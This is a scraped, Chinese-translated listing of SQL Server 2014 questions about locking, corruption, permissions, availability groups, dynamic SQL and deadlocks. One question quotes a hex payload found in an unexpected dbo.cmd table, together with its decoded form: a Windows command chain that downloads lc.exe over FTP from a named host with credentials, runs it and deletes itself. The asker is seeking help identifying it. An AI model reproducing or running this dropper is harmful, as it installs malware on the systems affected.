来宾用户在我们的用户数据库上被禁用,但数据安全人员希望我们也在系统数据库上禁用它。我应该这样做吗?
在尝试创建死锁时,我遇到了无法理解的锁定问题:我正在更新按timekey列分区的大表:

我正在尝试运行两个更新语句:
BEGIN TRAN
UPDATE [Transform].[AllCommunications_Arch]
SET Callid = 10300503454
WHERE Callid = 10348103154
AND TimeKey = 20161205
Run Code Online (Sandbox Code Playgroud)
和
BEGIN TRAN
UPDATE [Transform].[AllCommunications_Arch]
SET Callid = 1234576704
WHERE Callid = 4321276791
AND TimeKey = 20160720
Run Code Online (Sandbox Code Playgroud)
每个人都应该更新一行,每个人都在不同的分区上运行,但由于某种原因,一个语句仍然阻塞另一个。DB 具有默认隔离杆(已提交读)。

CREATE TABLE [Transform].[AllCommunications_Arch](
[SessionId] [varchar](100) NULL,
[TimeKey] [int] NULL,
[Callid] [bigint] NULL,
[MemberId] [int] NULL,
[Duration] [int] NULL,
[CalledAt] [datetime] NULL,
[EndTime] [datetime] NULL....
) ON [Transform_Timekey_Daily_Arch_PS]([TimeKey])
WITH
(
DATA_COMPRESSION = PAGE
)
GO
CREATE CLUSTERED INDEX [CL_Transform_AllCommunications_Arch] ON [Transform].[AllCommunications_Arch] …Run Code Online (Sandbox Code Playgroud) 我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd:
CREATE TABLE [dbo].[cmd](
[a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)
它还插入了一行:
0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)
我尝试将其转换为字符串,结果如下:
@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe夹中有一个文件%systemroot%/Help/lc.exe,但我还没有执行脚本中的最后一个命令:
lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?
我DBCC CHECKDB在 SQL Server 2014 上已损坏行的表上运行时遇到一致性错误。在前 30,000 行(总计 140 万(140 万)行)之后,我遇到了损坏错误。
我想尝试bcp将数据取出,直到损坏为止。我想跳过损坏的行。我想bcp在损坏范围之后并尽量减少数据丢失。
我该怎么做?请详细说明。
另请参阅我之前的问题:在 SQL Server 2014 中的几个表上运行 CHECKDB 的一致性错误
是否可以为某个用户生成用户已获得显式访问权限的对象列表?
我想查看用户拥有明确权限的所有项目的列表,不包括通过角色等继承的任何权限。
我们有 ApplicationIntent=ReadOnly 正确地将我们的用户路由到辅助只读副本。有没有办法让它成为默认行为?
显然,默认行为似乎是 ReadWrite,如果您不指定 ApplicationIntent,它将重定向到主服务器。
tempdb发生故障转移时如何利用?
假设有两台服务器,服务器 1是主服务器,服务器 2是辅助服务器。突然,故障转移发生了,那么,tempdb在这种情况下如何表现?
sql-server sql-server-2012 failover availability-groups sql-server-2014
我有一个包含一些动态 SQL 的存储过程。我正在尝试使用执行存储过程,OPENROWSET但出现错误:
消息 11514,级别 16,状态 1,过程 sp_describe_first_result_set,第 1 行
无法确定元数据,因为语句 'EXEC sp_executesql @SQL, N'@row_count_out INT OUTPUT', @row_count_out = @row_count_table OUTPUT;' 在过程 'nachoTest' 中包含动态 SQL。考虑使用 WITH RESULT SETS 子句来显式描述结果集。
我真正的存储过程有点复杂,但这是错误的一个工作示例:
存储过程:
CREATE PROCEDURE nachoTest @table_name NVARCHAR(MAX)
AS
BEGIN
SET NOCOUNT ON;
DECLARE @row_count_table INT
DECLARE @SQL NVARCHAR(MAX)
SET @SQL = N'SELECT @row_count_out = COUNT(*) FROM ' + @table_name
EXEC sp_executesql @SQL, N'@row_count_out INT OUTPUT', @row_count_out = @row_count_table OUTPUT;
SELECT @row_count_table AS row_count, @table_name AS table_name
END
GO
Run Code Online (Sandbox Code Playgroud)
调用它 …
sql-server stored-procedures dynamic-sql openrowset sql-server-2014
我的任务是调查应用程序的工作由于死锁而失败的问题。我知道使用跟踪来捕获死锁,但是由于这是 16 小时前发生的事情,我想知道是否可以查看导致死锁的原因?
谢谢
是否有人遇到过在运行 SQL Server 2014 的服务器上卸载使用 SQL Server Express 2008 的应用程序 (arcserv) 的问题?卸载 arcserv 时,它或用户删除了 SQL Server 代理。什么是/是代理恢复过程,
我们的修复工作遇到了多个问题,包括由于缺少权限而无法访问的注册表组件键。
sql-server-2014 ×10
sql-server ×9
bcp ×1
corruption ×1
deadlock ×1
dynamic-sql ×1
failover ×1
listener ×1
locking ×1
openrowset ×1
permissions ×1
users ×1